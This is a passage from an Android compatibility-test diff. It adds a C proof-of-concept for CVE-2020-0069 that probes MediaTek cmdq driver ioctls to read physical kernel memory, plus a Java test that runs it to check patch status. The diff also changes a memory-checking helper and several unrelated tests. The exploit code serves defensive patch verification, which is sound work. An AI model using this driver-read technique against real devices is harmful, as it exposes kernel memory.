+      // If we can't access the driver, then it's not vulnerable.
+      if (errno == EACCES) {
+        exit_code = EXIT_SUCCESS;
+        goto exit;
+      }
+    } else {
+      break;
+    }
+  }
+  if (-1 == fd) {
+    goto exit;
+  }
+
+  if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+    goto exit;
+  }
+
+  if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+    goto exit;
+  }
+
+  for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+       ii++) {
+    for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+         pa += 0x1000) {
+      memset(buffer, 0, read_size);
+
+      switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+                              read_size)) {
+      case OperationSuccess:
+        command_accepted = true;
+        for (size_t ii = 0; ii < read_size; ii++) {
+          if (buffer[ii] != 0) {
+            exit_code = EXIT_VULNERABLE;
+            goto exit;
+          }
+        }
+        break;
+      case OperationFailed:
+        exit_code = EXIT_SUCCESS;
+        break;
+      case OperationError:
+        break;
+      }
+    }
+  }
+
+  // If the driver accepted commands, but we didn't manage to read any data,
+  // then we failed to demonstrate a vulnerability.
+  if (command_accepted) {
+    exit_code = EXIT_SUCCESS;
+  }
+
+exit:
+  if (-1 != fd) {
+    if (kernel_buffer.address != 0) {
+      (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+    }
+    (void)close(fd);
+  }
+
+  return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
index 650d2f6..65e1e90 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
@@ -61,6 +61,7 @@
     if (NULL == real_memalign) {
         return;
     }
+#ifndef DISABLE_MALLOC_OVERLOADING
     real_calloc = dlsym(RTLD_NEXT, "calloc");
     if (NULL == real_calloc) {
         return;
@@ -73,6 +74,7 @@
     if (NULL == real_realloc) {
         return;
     }
+#endif /* DISABLE_MALLOC_OVERLOADING */
     real_free = dlsym(RTLD_NEXT, "free");
     if (NULL == real_free) {
         return;
@@ -99,14 +101,6 @@
     size_t num_pages;
     size_t page_size = getpagesize();
 
-    /* User specified alignment is not respected and is overridden by
-     * "new_alignment". This is required to catch OOB read when read offset is
-     * less than user specified alignment. "new_alignment" is derived based on
-     * size_t, and helps to avoid bus errors due to non-aligned memory.
-     * "new_alignment", whenever used, is checked to ensure sizeof(size_t)
-     * has returned proper value                                            */
-    size_t new_alignment = sizeof(size_t);
-
     if (s_mem_map_index == MAX_ENTRIES) {
         return real_memalign(alignment, size);
     }
@@ -115,13 +109,16 @@
         return real_memalign(alignment, size);
     }
 
-    if ((0 == page_size) || (0 == alignment) || (0 == size)
-            || (0 == new_alignment)) {
+    if ((0 == page_size) || (0 == alignment) || (0 == size)) {
         return real_memalign(alignment, size);
     }
 #ifdef CHECK_OVERFLOW
-    if (0 != (size % new_alignment)) {
-        aligned_size = size + (new_alignment - (size % new_alignment));
+    /* User specified alignment is not respected and is overridden by
+     * MINIMUM_ALIGNMENT. This is required to catch OOB read when read offset
+     * is less than user specified alignment. "MINIMUM_ALIGNMENT" helps to
+     * avoid bus errors due to non-aligned memory.                         */
+    if (0 != (size % MINIMUM_ALIGNMENT)) {
+        aligned_size = size + (MINIMUM_ALIGNMENT - (size % MINIMUM_ALIGNMENT));
     }
 #endif
 
@@ -134,11 +131,7 @@
     total_size = (num_pages * page_size);
     start_ptr = (char *) real_memalign(page_size, total_size);
 #ifdef CHECK_OVERFLOW
-#ifdef FORCE_UNALIGN
-    mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - size;
-#else
     mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - aligned_size;
-#endif /* FORCE_UNALIGN */
     DISABLE_MEM_ACCESS((start_ptr + ((num_pages - 1) * page_size)), page_size);
 #endif /* CHECK_OVERFLOW */
 #ifdef CHECK_UNDERFLOW
@@ -154,6 +147,7 @@
     return mem_ptr;
 }
 
+#ifndef DISABLE_MALLOC_OVERLOADING
 void *malloc(size_t size) {
     if (s_memutils_initialized == 0) {
         memutils_init();
@@ -163,7 +157,7 @@
         return real_malloc(size);
     }
 #endif /* ENABLE_SELECTIVE_OVERLOADING */
-    return memalign(sizeof(size_t), size);
+    return memalign(MINIMUM_ALIGNMENT, size);
 }
 
 void *calloc(size_t nitems, size_t size) {
@@ -210,6 +204,7 @@
     }
     return real_realloc(ptr, size);
 }
+#endif /* DISABLE_MALLOC_OVERLOADING */
 
 void free(void *ptr) {
     if (s_memutils_initialized == 0) {
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
index 10ee31e..4d3791e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
@@ -19,6 +19,7 @@
 #endif /* __cplusplus */
 #define MAX_ENTRIES        (1024 * 1024)
 #define INITIAL_VAL        (0xBE)
+#define MINIMUM_ALIGNMENT  (16)
 
 #define DISABLE_MEM_ACCESS(mem, size)\
     mprotect((char *) mem, size, PROT_NONE);
@@ -43,9 +44,11 @@
 } map_struct_t;
 
 static void* (*real_memalign)(size_t, size_t) = NULL;
+#ifndef DISABLE_MALLOC_OVERLOADING
 static void* (*real_calloc)(size_t, size_t) = NULL;
 static void* (*real_malloc)(size_t) = NULL;
 static void* (*real_realloc)(void *ptr, size_t size) = NULL;
+#endif /* DISABLE_MALLOC_OVERLOADING */
 static void (*real_free)(void *) = NULL;
 static int s_memutils_initialized = 0;
 static int s_mem_map_index = 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
index 8986c32..aeea4a0 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -34,7 +34,7 @@
 #include <android/IOMXBufferSource.h>
 #include <media/omx/1.0/WOmx.h>
 #include <binder/MemoryDealer.h>
-#include "HardwareAPI.h"
+#include "media/hardware/HardwareAPI.h"
 #include "OMX_Component.h"
 #include <binder/ProcessState.h>
 #include <media/stagefright/foundation/ALooper.h>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+    /**
+     * b/147882143
+     * b/152874234
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testPocCVE_2020_0069() throws Exception {
+        if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+           containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+           containsDriver(getDevice(), "/dev/mtk_mdp")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+                                                         getDevice(), 300);
+        }
+    }
+}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index a7922db..93064e6 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -331,6 +331,15 @@
     }
 
     @Test
+    public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1, TestApp.B1)
+                .assertSuccessful().getSessionId();
+        abandonSession(sessionId);
+        stageSingleApk(TestApp.Apex2).assertSuccessful();
+    }
+
+    @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 3345f62..427dbcc 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -138,6 +138,12 @@
     }
 
     @Test
+    public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+        runPhase("testStageAnotherSessionImmediatelyAfterAbandonMultiPackage");
+    }
+
+    @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
         runPhase("testNoSessionUpdatedBroadcastSentForStagedSessionAbandon");
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 9311656..144e28e 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -200,6 +200,7 @@
         // Op 96 was deprecated/removed
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
     }
 
     @Test
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
index 4c0e4e6..7ad2d17 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
@@ -76,6 +76,7 @@
             Thread.sleep(10);
         }
         doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
+        Thread.sleep(WAIT_TIME_SHORT);
         report = getStatsdStatsReport();
         LogUtil.CLog.d("got following statsdstats report: " + report.toString());
         foundActiveConfig = false;
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
index c42faa2..674226c 100644
--- a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
@@ -37,12 +37,14 @@
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.List;
 
+@Ignore
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
     private static final String SHELL_AM_START_FG_SERVICE =
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index c478bf2..3599107 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -62,6 +62,8 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
 import java.util.Map;
 import java.util.Objects;
@@ -85,16 +87,24 @@
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
+    private static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
+
     // TODO: Make it a @TestApi or move the test using this to a different location.
     // Copy of DeviceConfig.NAMESPACE_BLOBSTORE constant
     private static final String NAMESPACE_BLOBSTORE = "blobstore";
     private static final String KEY_SESSION_EXPIRY_TIMEOUT_MS = "session_expiry_timeout_ms";
     private static final String KEY_LEASE_ACQUISITION_WAIT_DURATION_MS =
             "lease_acquisition_wait_time_ms";
+    private static final String KEY_DELETE_ON_LAST_LEASE_DELAY_MS =
+            "delete_on_last_lease_delay_ms";
     private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR =
             "total_bytes_per_app_limit_floor";
-    public static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
+    private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
             "total_bytes_per_app_limit_fraction";
+    private static final String KEY_MAX_ACTIVE_SESSIONS = "max_active_sessions";
+    private static final String KEY_MAX_COMMITTED_BLOBS = "max_committed_blobs";
+    private static final String KEY_MAX_LEASED_BLOBS = "max_leased_blobs";
+    private static final String KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES = "max_permitted_pks";
 
     private static final String HELPER_PKG = "com.android.cts.blob.helper";
     private static final String HELPER_PKG2 = "com.android.cts.blob.helper2";
@@ -121,9 +131,9 @@
 
     @After
     public void tearDown() throws Exception {
-        for (BlobHandle blobHandle : mBlobStoreManager.getLeasedBlobs()) {
-            mBlobStoreManager.releaseLease(blobHandle);
-        }
+        runShellCmd("cmd blob_store clear-all-sessions");
+        runShellCmd("cmd blob_store clear-all-blobs");
+        mContext.getFilesDir().delete();
     }
 
     @Test
@@ -206,9 +216,15 @@
                 blobData.readFromSessionAndVerifyBytes(session,
                         101 /* offset */, 1001 /* length */);
 
-                blobData.writeToSession(session, 202 /* offset */, 2002 /* length */);
+                blobData.writeToSession(session, 202 /* offset */, 2002 /* length */,
+                        blobData.getFileSize());
                 blobData.readFromSessionAndVerifyBytes(session,
                         202 /* offset */, 2002 /* length */);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(0);
             }
         } finally {
             blobData.delete();
@@ -596,6 +612,52 @@
     }
 
     @Test
+    public void testSessionCommit_incompleteData() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session, 0, blobData.getFileSize() - 2);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(1);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testSessionCommit_incorrectData() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session, 0, blobData.getFileSize());
+                try (OutputStream out = new ParcelFileDescriptor.AutoCloseOutputStream(
+                        session.openWrite(0, blobData.getFileSize()))) {
+                    out.write("wrong_data".getBytes(StandardCharsets.UTF_8));
+                }
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(1);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
     public void testRecommitBlob() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
@@ -731,11 +793,13 @@
                     try (BlobStoreManager.Session session = mBlobStoreManager.openSession(
                             sessionId)) {
                         final long partialFileSizeBytes = minSizeMb * 1024L * 1024L;
-                        blobData.writeToSession(session, 0L, partialFileSizeBytes);
+                        blobData.writeToSession(session, 0L, partialFileSizeBytes,
+                                blobData.getFileSize());
                         blobData.readFromSessionAndVerifyBytes(session, 0L,
                                 (int) partialFileSizeBytes);
                         blobData.writeToSession(session, partialFileSizeBytes,
-                                blobData.getFileSize() - partialFileSizeBytes);
+                                blobData.getFileSize() - partialFileSizeBytes,
+                                blobData.getFileSize());
                         blobData.readFromSessionAndVerifyBytes(session, partialFileSizeBytes,
                                 (int) (blobData.getFileSize() - partialFileSizeBytes));
 
@@ -875,11 +939,30 @@
     }
 
     @Test
-    public void testAcquireRelease_deleteImmediately() throws Exception {
+    public void testAcquireLease_leaseExpired() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        try {
+            commitBlob(blobData);
+
+            acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+            assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+            waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+            assertNoLeasedBlobs(mBlobStoreManager);
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testAcquireRelease_deleteAfterDelay() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
             try {
                 commitBlob(blobData);
 
@@ -892,6 +975,10 @@
                 releaseLease(mContext, blobData.getBlobHandle());
                 assertNoLeasedBlobs(mBlobStoreManager);
 
+                SystemClock.sleep(waitDurationMs);
+                SystemUtil.runWithShellPermissionIdentity(() ->
+                        mBlobStoreManager.waitForIdle(TIMEOUT_WAIT_FOR_IDLE_MS));
+
                 assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
                         blobData.getBlobHandle(), R.string.test_desc,
                         blobData.getExpiryTimeMillis()));
@@ -899,7 +986,8 @@
             } finally {
                 blobData.delete();
             }
-        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)));
+        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)),
+                Pair.create(KEY_DELETE_ON_LAST_LEASE_DELAY_MS, String.valueOf(waitDurationMs)));
     }
 
     @Test
@@ -941,7 +1029,7 @@
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, 0, partialFileSize);
+            blobData.writeToSession(session, 0, partialFileSize, partialFileSize);
         }
 
         StorageStats afterStatsForPkg = storageStatsManager
@@ -958,7 +1046,8 @@
         // Complete writing data.
         final long totalFileSize = blobData.getFileSize();
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize);
+            blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize,
+                    totalFileSize);
         }
 
         afterStatsForPkg = storageStatsManager
@@ -974,7 +1063,8 @@
 
         // Commit the session.
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, partialFileSize, session.getSize() - partialFileSize);
+            blobData.writeToSession(session, partialFileSize,
+                    session.getSize() - partialFileSize, blobData.getFileSize());
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -1093,6 +1183,64 @@
     }
 
     @Test
+    public void testStorageAttribution_withExpiredLease() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+
+        final StorageStatsManager storageStatsManager = mContext.getSystemService(
+                StorageStatsManager.class);
+        StorageStats beforeStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats beforeStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        commitBlob(blobData);
+
+        StorageStats afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // No leases on the blob, so it should not be attributed.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(5);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + leaseExpiryDurationMs);
+
+        final long startTimeMs = System.currentTimeMillis();
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+
+        waitForLeaseExpiration(
+                Math.abs(leaseExpiryDurationMs - (System.currentTimeMillis() - startTimeMs)),
+                blobData.getBlobHandle());
+
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // Lease is expired, so it should not be attributed anymore.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        blobData.delete();
+    }
+
+    @Test
     public void testLeaseQuotaExceeded() throws Exception {
         final long totalBytes = Environment.getDataDirectory().getTotalSpace();
         final long limitBytes = 100 * Utils.MB_IN_BYTES;
@@ -1148,6 +1296,36 @@
     }
 
     @Test
+    public void testLeaseQuotaExceeded_withExpiredLease() throws Exception {
+        final long totalBytes = Environment.getDataDirectory().getTotalSpace();
+        final long limitBytes = 50 * Utils.MB_IN_BYTES;
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(40 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(30 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            acquireLease(mContext, blobData1.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+
+            assertThrows(LimitExceededException.class, () -> mBlobStoreManager.acquireLease(
+                    blobData2.getBlobHandle(), R.string.test_desc));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+            acquireLease(mContext, blobData2.getBlobHandle(), R.string.test_desc);
+        }, Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR, String.valueOf(limitBytes)),
+                Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION,
+                        String.valueOf((double) limitBytes / totalBytes)));
+    }
+
+    @Test
     public void testRemainingLeaseQuota() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
@@ -1172,6 +1350,31 @@
     }
 
     @Test
+    public void testRemainingLeaseQuota_withExpiredLease() throws Exception {
+        final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
+        final long blobSize = 100 * Utils.MB_IN_BYTES;
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setFileSize(blobSize)
+                .build();
+        blobData.prepare();
+
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        commitBlob(blobData);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + waitDurationMs);
+        assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota - blobSize);
+
+        waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+        assertNoLeasedBlobs(mBlobStoreManager);
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota);
+    }
+
+    @Test
     public void testAccessExpiredBlob() throws Exception {
         final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
@@ -1223,6 +1426,40 @@
     }
 
     @Test
+    public void testAccessBlob_withExpiredLease() throws Exception {
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(2);
+        final long leaseAcquisitionWaitDurationMs = TimeUnit.SECONDS.toMillis(1);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+            try {
+                final long blobId = commitBlob(blobData);
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("1");
+
+                acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                        System.currentTimeMillis() + leaseExpiryDurationMs);
+                assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+                waitForLeaseExpiration(leaseExpiryDurationMs, blobData.getBlobHandle());
+                assertNoLeasedBlobs(mBlobStoreManager);
+
+                triggerIdleMaintenance();
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("0");
+
+                assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
+                        blobData.getBlobHandle(), R.string.test_desc,
+                        blobData.getExpiryTimeMillis()));
+                assertNoLeasedBlobs(mBlobStoreManager);
+            } finally {
+                blobData.delete();
+            }
+        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS,
+                String.valueOf(leaseAcquisitionWaitDurationMs)));
+    }
+
+    @Test
     public void testCommitBlobAfterIdleMaintenance() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
@@ -1232,7 +1469,7 @@
         assertThat(sessionId).isGreaterThan(0L);
 
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, 0, partialFileSize);
+            blobData.writeToSession(session, 0, partialFileSize, blobData.getFileSize());
         }
 
         SystemClock.sleep(waitDurationMs);
@@ -1242,7 +1479,7 @@
 
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
             blobData.writeToSession(session, partialFileSize,
-                    blobData.getFileSize() - partialFileSize);
+                    blobData.getFileSize() - partialFileSize, blobData.getFileSize());
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -1252,10 +1489,11 @@
 
     @Test
     public void testExpiredSessionsDeleted() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
             assertThat(sessionId).isGreaterThan(0L);
 
@@ -1270,15 +1508,16 @@
 
     @Test
     public void testExpiredSessionsDeleted_withPartialData() throws Exception {
